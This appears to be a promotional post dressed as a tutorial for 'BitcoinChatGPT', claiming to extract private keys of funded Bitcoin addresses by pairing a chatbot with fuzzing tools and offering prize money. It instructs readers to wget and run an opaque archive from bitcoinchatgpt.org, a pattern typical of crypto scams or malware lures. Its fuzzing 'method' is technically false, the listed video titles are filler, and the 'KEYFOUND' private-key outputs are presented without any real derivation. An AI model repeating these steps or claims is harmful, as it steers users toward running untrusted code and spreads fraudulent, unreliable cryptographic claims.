Prize money of 7525000.411617501 USD from the balance of the Bitcoin address: 18MPhnb56KiL7BQ1tecW9uWyFPmrfs5gKj to receive BTC coins money, use the method from the tutorial: BitcoinChatGPT №3 Fuzzing Vulnerability Algorithm

How To Get Private Key of Bitcoin Wallet Address: 1DnqpnCFiXqMhvRfdRzPcRao7yxyoeXgjf

https://colab.research.google.com/drive/14ObBXUkIGhCKqufiJhfYWhpL3rOUB7aQ

Upload the pre-trained Bitcoin ChatGPT model:

!wget https://bitcoinchatgpt.org/language-modeling/repositories.zip
!unzip repositories.zip &> /dev/null
!pip3 install transformers

from transformers import AutoModelForCausalLM, AutoTokenizer
model_name = "microsoft/DialoGPT-medium"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
model = model.cpu()

Create a function to generate responses:

!pip3 install base58
import base58

def generate_response(input_text):
    input_ids = tokenizer.encode(input_text, return_tensors='pt').cpu()
    response_ids = model.generate(input_ids)
    response_text = tokenizer.decode(response_ids[:, input_ids.shape[-1]:][0], skip_special_tokens=True)
    return response_text

def decode_base58(address):
    decoded = base58.b58decode(address)
    return decoded[1:-4]

if __name__ == "__main__":
    address = input("Enter Bitcoin address:  ")
    decoded_bytes = decode_base58(address)
    print("Bitcoin HASH160: ", decoded_bytes.hex())

%run BitcoinChatGPT

How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: 8c4cfbd55dd01f6c221372eba1e57c7496d7239f

%run BitcoinChatGPT

State of a vulnerable transaction in Bitcoin:

01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8a473044
....0220
........06c8f5759e1ec0f45b779a58870d96f03bf7f7fb5531decf566e73c1b5276cda
....0220
........7f3b05cae5b7ac085a7e64f4493d6e2bdea3145ae7ef15e906d4223086aec8e9
....0141
0441924caf245ffe052cbb69df676e45875f6e78cf0bb7327f096c8b9122310211f6e2066e8d7d11ae2580b1abf286c474b64cbe64492af997ed41d00d89e3e4ae
....ffffffff
01
....d204000000000000
........1976
............a914
........8c4cfbd55dd01f6c221372eba1e57c7496d7239f
....88ac
00000000

%run BitcoinChatGPT

What algorithm can be applied to extract the private key from a vulnerable transaction in Bitcoin?

%run BitcoinChatGPT

American Fuzzy Lop:


1) “American Fuzzy Lop (AFL) Tutorial” – This video usually explains the basics of using AFL, how to install it and get started with it.

2) “Fuzzing with AFL: A Practical Guide” – This video can offer a practical guide to Fuzzing testing using AFL, including examples and demos.

3) “Advanced Fuzzing Techniques with AFL” – This video can cover more advanced techniques and strategies for using AFL effectively.

4) “AFL Fuzzing: Finding Bugs in Real-World Applications” – This video can show how to use AFL to find vulnerabilities in real-world applications, with examples and analysis.

5) “Setting Up AFL for Fuzz Testing” – This video can show you step by step how to set up AFL for Fuzz Testing on your system.

%run BitcoinChatGPT

libFuzzer:


1) “Introduction to Fuzzing with libFuzzer” – This video provides a basic introduction to using libFuzzer for beginners.

2) “Fuzzing with libFuzzer and AddressSanitizer” – This video explains how to use libFuzzer with AddressSanitizer to detect vulnerabilities in your code.

3) “Advanced Fuzzing Techniques with libFuzzer” – This video is suitable for those who are already familiar with the basics and want to deepen their knowledge.

4) “Google Testing Blog: libFuzzer Tutorial” – A video tutorial from the Google team that covers various aspects of using libFuzzer.

5) “Fuzzing C/C++ Programs with libFuzzer” – This video discusses specific examples and demonstrates the process of fuzzing C/C++ programs.

%run BitcoinChatGPT

Honggfuzz:


1) “Fuzzing with Honggfuzz” – This video can give you a general idea of ​​how to get started with Honggfuzz, including installation and basic commands.

2) “Advanced Fuzzing Techniques with Honggfuzz” – This video may cover more advanced techniques and settings for using Honggfuzz, which may be useful for more experienced users.

3) “Honggfuzz Tutorial for Beginners” – If youre just starting out, this video could be a great place to start as it will likely cover the basic concepts and setup steps.

4) “Integrating Honggfuzz with CI/CD Pipelines” – This video can show how to integrate Honggfuzz into your continuous integration and delivery processes, which can be useful for test automation.

%run BitcoinChatGPT

OSS-Fuzz:


1) “OSS-Fuzz: Continuous Fuzzing for Open Source Software” – This video from Google Open Source explains how OSS-Fuzz works and how it helps improve the security and stability of open source software.

2) “Fuzzing with OSS-Fuzz” – This video explains in detail how to get started using OSS-Fuzz for your project, including setup and integration.

3) “Google OSS-Fuzz: Continuous Fuzzing for Open Source Software” – Presentation from Google that covers the basic concepts and benefits of using OSS-Fuzz.

4) “Fuzzing 101: Getting Started with OSS-Fuzz” – A beginners tutorial that explains step-by-step how to get started with OSS-Fuzz.

5) “Integrating Your Project with OSS-Fuzz” – This video covers the practical aspects of integrating your project with OSS-Fuzz, including code examples and troubleshooting tips.

%run BitcoinChatGPT

Apply all four options to extract the private key from a vulnerable transaction in Bitcoin.

%run BitcoinChatGPT

============================= KEYFOUND.privkey =============================

Private Key HEX: 0x1bad2815705c693b4df94badf0f757c601d841bff62c40f9546432034a4c29b7

Private Key WIF: 5J2UY9UjY9Ukt1HuaFwdsMzANU42HA4YWyt6ieU8G3WRmfpoYmQ

Bitcoin Address: 1DnqpnCFiXqMhvRfdRzPcRao7yxyoeXgjf

Balance: 14.18517493 BTC

============================= KEYFOUND.privkey =============================

How To Get Private Key of Bitcoin Wallet Address: 1GyYqfnLmwgwG6Jgs1rPkJgXEfKtAqpUiy

!pip3 install base58
import base58

def generate_response(input_text):
    input_ids = tokenizer.encode(input_text, return_tensors='pt').cpu()
    response_ids = model.generate(input_ids)
    response_text = tokenizer.decode(response_ids[:, input_ids.shape[-1]:][0], skip_special_tokens=True)
    return response_text

def decode_base58(address):
    decoded = base58.b58decode(address)
    return decoded[1:-4]

if __name__ == "__main__":
    address = input("Enter Bitcoin address:  ")
    decoded_bytes = decode_base58(address)
    print("Bitcoin HASH160: ", decoded_bytes.hex())

%run BitcoinChatGPT

How to create a vulnerable transaction in Bitcoin for the hashed version of the public key Bitcoin HASH160: af3bc231bb12f1ad10cf062386dbbbb26528cb22

%run BitcoinChatGPT

State of a vulnerable transaction in Bitcoin:

01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8a473044
....0220
........22d6ccd10441c7ef504678537f9a1afbeb61e4d237ee66e80d58c313f5842a07
....0220
........3a1df5bb9f5677a1cfa8cadd6cc369b74dddeecd6dcc55870779442246dd53cd
....0141
04d0bb71d738f96395c10826ddf894f6ee3fb5949aef5ef3274b80ca74d9c70f53d3cb2ac4caa06d4d29d505a54354b46354f538b04022ae5ff02e3ea0eb1696c8
....ffffffff
01
....d204000000000000
........1976
............a914
........af3bc231bb12f1ad10cf062386dbbbb26528cb22
....88ac
00000000

%run BitcoinChatGPT

What algorithm can be applied to extract the private key from a vulnerable transaction in Bitcoin?

%run BitcoinChatGPT

Radamsa:


1) “Fuzzing with Radamsa” – This video explains how to use Radamsa for Fuzzing (testing software for vulnerabilities).

2) “Introduction to Fuzz Testing with Radamsa” – Introduction to Fuzz Testing using Radamsa, including basic principles and examples.

3) “Radamsa: A Fuzzing Tool for Security Testing” – An overview of Radamsas capabilities and its application in the field of security.

4) “How to Use Radamsa for Fuzz Testing” – Step-by-step guide on using Radamsa for Fuzz testing.

%run BitcoinChatGPT

Echidna:


1) “Echidna: Fuzzing for Ethereum Smart Contracts” – This video explains the basics of using Echidna to test smart contracts on Ethereum.

2) “Fuzzing Smart Contracts with Echidna” – This video takes a detailed look at the process of setting up and running Echidna for Fuzzing smart contracts.

3) “Echidna: A Fuzzer for Ethereum Smart Contracts” – This video discusses various aspects and capabilities of Echidna, as well as use cases.

4) “Smart Contract Security: Fuzzing with Echidna” – A video that focuses on smart contract security and using Echidna to find vulnerabilities.

%run BitcoinChatGPT

Peach Fuzzer:


1) “Peach Fuzzer Tutorial” – This video generally explains the basics of using Peach Fuzzer, including installation and configuration.

2) “Fuzzing with Peach: A Beginners Guide” – This video may be useful for those who are just getting started with Peach Fuzzer and want to understand the basic concepts and techniques.

3) “Advanced Peach Fuzzer Techniques” – This video covers more advanced aspects of using Peach Fuzzer, such as creating your own tests and analyzing the results.

4) “Peach Fuzzer in Action: Real-World Examples” – Here you can see how Peach Fuzzer is used to find vulnerabilities in real-world applications.

5) “Setting Up a Fuzzing Environment with Peach” – This video will help you set up your work environment to effectively use Peach Fuzzer.

%run BitcoinChatGPT

Apply all four options to extract the private key from a vulnerable transaction in Bitcoin.

%run BitcoinChatGPT

============================= KEYFOUND.privkey =============================

Private Key HEX: 0xab6256e4889b9b97f89f398cf46ddff225a69ea8ea3ccd00227803cd3d230403

Private Key WIF: 5K7mMnwqb3tqhN2Xo9xLWvXTBG2XCLbiDzJ3PjF5A7EWWpPx7F5

Bitcoin Address: 1GyYqfnLmwgwG6Jgs1rPkJgXEfKtAqpUiy

Balance: 1.68533479 BTC

============================= KEYFOUND.privkey =============================

Telegram: https://t.me/Bitcoin_ChatGPT

YouTube: https://www.youtube.com/@BitcoinChatGPT